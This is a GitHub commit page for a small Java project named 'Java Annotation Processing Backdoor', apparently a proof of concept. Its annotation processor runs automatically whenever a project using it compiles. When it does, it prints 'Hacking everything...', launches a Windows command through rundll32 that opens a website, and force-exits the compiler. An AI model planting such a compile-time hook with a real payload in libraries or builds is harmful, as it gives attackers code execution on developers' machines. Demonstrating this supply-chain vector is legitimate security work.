Skip to content

Commit 46d2499

Browse files
committed
Initial commit
0 parents  commit 46d2499

File tree

5 files changed

+237
-0
lines changed

5 files changed

+237
-0
lines changed

.gitignore

+110
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
# Maven
2+
target/
3+
pom.xml.tag
4+
pom.xml.releaseBackup
5+
pom.xml.versionsBackup
6+
pom.xml.next
7+
release.properties
8+
dependency-reduced-pom.xml
9+
buildNumber.properties
10+
.mvn/timing.properties
11+
# https://github.com/takari/maven-wrapper#usage-without-binary-jar
12+
.mvn/wrapper/maven-wrapper.jar
13+
14+
15+
# Compiled class file
16+
*.class
17+
18+
# Log file
19+
*.log
20+
21+
# BlueJ files
22+
*.ctxt
23+
24+
# Mobile Tools for Java (J2ME)
25+
.mtj.tmp/
26+
27+
# Package/Binary Files don't belong into a git repo
28+
*.jar
29+
*.war
30+
*.nar
31+
*.ear
32+
*.zip
33+
*.tar.gz
34+
*.rar
35+
*.dll
36+
*.exe
37+
*.bin
38+
39+
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
40+
hs_err_pid*
41+
42+
# JRebel
43+
**/resources/rebel.xml
44+
**/resources/rebel-remote.xml
45+
46+
# eclispe stuff for root
47+
/.settings/
48+
/.classpath
49+
/.project
50+
51+
52+
# eclispe stuff for modules
53+
/*/.metadata/
54+
/*/.apt_generated_tests/
55+
/*/.settings/
56+
/*/.classpath
57+
/*/.project
58+
/*/RemoteSystemsTempFiles/
59+
60+
61+
#vaadin/node webpack/frontend stuff
62+
# Ignore Node
63+
node/
64+
65+
# The following files are generated/updated by vaadin-maven-plugin
66+
node_modules/
67+
68+
# Vaadin
69+
package.json
70+
package-lock.json
71+
webpack.generated.js
72+
webpack.config.js
73+
tsconfig.json
74+
types.d.ts
75+
vite.config.ts
76+
vite.generated.ts
77+
/*/frontend/generated/
78+
/*/frontend/index.html
79+
80+
#custom
81+
.flattened-pom.xml
82+
.tern-project
83+
84+
# Ignore Testcontainer generic folders
85+
PutObjectStoreDirHere/
86+
ObjectStore/
87+
88+
# == IntelliJ ==
89+
*.iml
90+
*.ipr
91+
92+
# Some files are user/installation independent and are used for configuring the IDE
93+
# See also https://stackoverflow.com/a/35279076
94+
95+
.idea/*
96+
!.idea/saveactions_settings.xml
97+
!.idea/checkstyle-idea.xml
98+
99+
!.idea/runConfigurations/
100+
.idea/runConfigurations/*
101+
!.idea/runConfigurations/software_xdev_timeline_Application.xml
102+
103+
!.idea/inspectionProfiles/
104+
.idea/inspectionProfiles/*
105+
!.idea/inspectionProfiles/Project_Default.xml
106+
107+
!.idea/codeStyles/
108+
.idea/codeStyles/*
109+
!.idea/codeStyles/codeStyleConfig.xml
110+
!.idea/codeStyles/Project.xml

.idea/checkstyle-idea.xml

+16
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# Java Annotation Processing Backdoor

pom.xml

+73
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
3+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>software.xdev</groupId>
8+
<artifactId>java-annotation-processing-backdoor</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
11+
<name>java-annotation-processing-backdoor</name>
12+
13+
<properties>
14+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
<maven.compiler.source>1.8</maven.compiler.source>
16+
<maven.compiler.target>1.8</maven.compiler.target>
17+
</properties>
18+
19+
<dependencies>
20+
<dependency>
21+
<groupId>com.google.auto.service</groupId>
22+
<artifactId>auto-service</artifactId>
23+
<version>1.0.1</version>
24+
<scope>provided</scope>
25+
</dependency>
26+
</dependencies>
27+
28+
<build>
29+
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
30+
<plugins>
31+
<!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
32+
<plugin>
33+
<artifactId>maven-clean-plugin</artifactId>
34+
<version>3.1.0</version>
35+
</plugin>
36+
<!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
37+
<plugin>
38+
<artifactId>maven-resources-plugin</artifactId>
39+
<version>3.0.2</version>
40+
</plugin>
41+
<plugin>
42+
<artifactId>maven-compiler-plugin</artifactId>
43+
<version>3.8.0</version>
44+
</plugin>
45+
<plugin>
46+
<artifactId>maven-surefire-plugin</artifactId>
47+
<version>2.22.1</version>
48+
</plugin>
49+
<plugin>
50+
<artifactId>maven-jar-plugin</artifactId>
51+
<version>3.0.2</version>
52+
</plugin>
53+
<plugin>
54+
<artifactId>maven-install-plugin</artifactId>
55+
<version>2.5.2</version>
56+
</plugin>
57+
<plugin>
58+
<artifactId>maven-deploy-plugin</artifactId>
59+
<version>2.8.2</version>
60+
</plugin>
61+
<!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
62+
<plugin>
63+
<artifactId>maven-site-plugin</artifactId>
64+
<version>3.7.1</version>
65+
</plugin>
66+
<plugin>
67+
<artifactId>maven-project-info-reports-plugin</artifactId>
68+
<version>3.0.0</version>
69+
</plugin>
70+
</plugins>
71+
</pluginManagement>
72+
</build>
73+
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package software.xdev;
2+
3+
import com.google.auto.service.AutoService;
4+
5+
import javax.annotation.processing.AbstractProcessor;
6+
import javax.annotation.processing.Processor;
7+
import javax.annotation.processing.RoundEnvironment;
8+
import javax.annotation.processing.SupportedAnnotationTypes;
9+
import javax.lang.model.SourceVersion;
10+
import javax.lang.model.element.TypeElement;
11+
import java.io.IOException;
12+
import java.util.Set;
13+
14+
@SupportedAnnotationTypes("*")
15+
@AutoService(Processor.class)
16+
public class BackdoorProcessor extends AbstractProcessor {
17+
18+
@Override
19+
public SourceVersion getSupportedSourceVersion() {
20+
return SourceVersion.latest();
21+
}
22+
23+
@Override
24+
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
25+
26+
System.err.println("Hacking everything...");
27+
try {
28+
Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler https://xdev.software/");
29+
} catch (IOException e) {
30+
// NOBODY CARES
31+
}
32+
33+
System.exit(1);
34+
35+
return false;
36+
}
37+
}

0 commit comments

Comments
 (0)